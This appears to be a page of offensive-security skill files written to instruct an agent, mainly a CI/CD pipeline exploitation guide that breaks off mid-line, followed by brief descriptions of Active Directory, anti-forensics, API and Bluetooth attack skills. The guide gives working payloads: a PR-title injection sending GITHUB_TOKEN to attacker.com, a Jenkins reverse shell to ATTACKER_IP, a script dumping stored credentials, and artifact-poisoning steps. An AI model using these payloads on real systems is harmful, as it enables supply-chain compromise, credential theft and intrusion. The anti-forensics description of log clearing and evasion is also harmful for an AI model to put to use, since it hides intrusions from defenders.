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offensive-cicd-pipeline

Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures.

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SKILL.md

# Offensive CI/CD Pipeline Exploitation

CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised
pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability
to inject malicious code into production artifacts. You exploit the implicit trust that organizations
place in their build systems -- pipelines run code with elevated privileges, hold secrets for
deployment, and operate with minimal monitoring compared to production systems.

This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline
configurations, identify injection points, escalate from contributor-level access to arbitrary code
execution, and leverage pipeline trust to move laterally through environments.

MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)

## Quick Workflow

1. Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
2. Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
3. Map token scopes and available secrets for each pipeline context.
4. Select the injection vector matching your access level (contributor, external PR, authenticated user).
5. Craft the payload for the target platform's expression language or script engine.
6. Execute and capture output -- secrets, tokens, or artifact modification.
7. Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.

---

## GitHub Actions Expression Injection

GitHub Actions evaluates expressions in `${{ }}` contexts. When attacker-controlled data flows into
these expressions without sanitization, you achieve arbitrary command injection in the runner context.

The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages
that flow into `run:` steps or action inputs.

Identify vulnerable workflows by searching for direct interpolation of event data:

```bash
# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/
```

A vulnerable workflow looks like this:

```yaml
# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Thanks for PR: ${{ github.event.pull_request.title }}"
```

You inject through the PR title:

```text
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
```

For `workflow_run` abuse, a workflow triggered by `workflow_run` runs in the context of the default
branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a
PR workflow, then the `workflow_run` workflow processes it with elevated privileges:

```yaml
# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
  with:
    name: pr-data
    path: payload.sh

# The workflow_run handler in the default branch processes artifacts unsafely
on:
  workflow_run:
    workflows: ["PR Build"]
    types: [completed]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
      - run: bash pr-data/payload.sh  # Executes attacker's code with write access
```

Enumerate GITHUB_TOKEN permissions to understand your execution scope:

```bash
# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'

# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main
```

Composite action supply chain attacks target reusable actions referenced without SHA pinning:

```yaml
# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1

# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
```

Use gato to enumerate and exploit GitHub Actions misconfigurations:

```bash
# Enumerate self-hosted runners and vulnerable workflows
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org

# Search for expression injection across an organization
gato search -t ghp_TOKENHERE -o target-org -sg
```

---

## Jenkins Exploitation

Jenkins presents a broad attack surface through its script console, build configurations, shared
libraries, and the Java remoting protocol. You target Jenkins when you discover it exposed on the
network or when you obtain any level of authenticated access.

### Groovy Script Console RCE

If you have access to the script console (requires Overall/RunScripts permission), you have
unrestricted code execution on the Jenkins controller:

```groovy
// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text

// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each { c ->
    println("ID: ${c.id}")
    println("Username: ${c.username}")
    println("Password: ${c.password.plainText}")
    prin
offensive-active-directorySkill

Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.

offensive-advanced-redteamSkill

Comprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.

offensive-ai-securitySkill
offensive-anti-forensicsSkill

Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.

offensive-api-abuseSkill

Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.

offensive-api-securitySkill

Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.

offensive-basic-exploitationSkill
offensive-bluetooth-bleSkill

Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.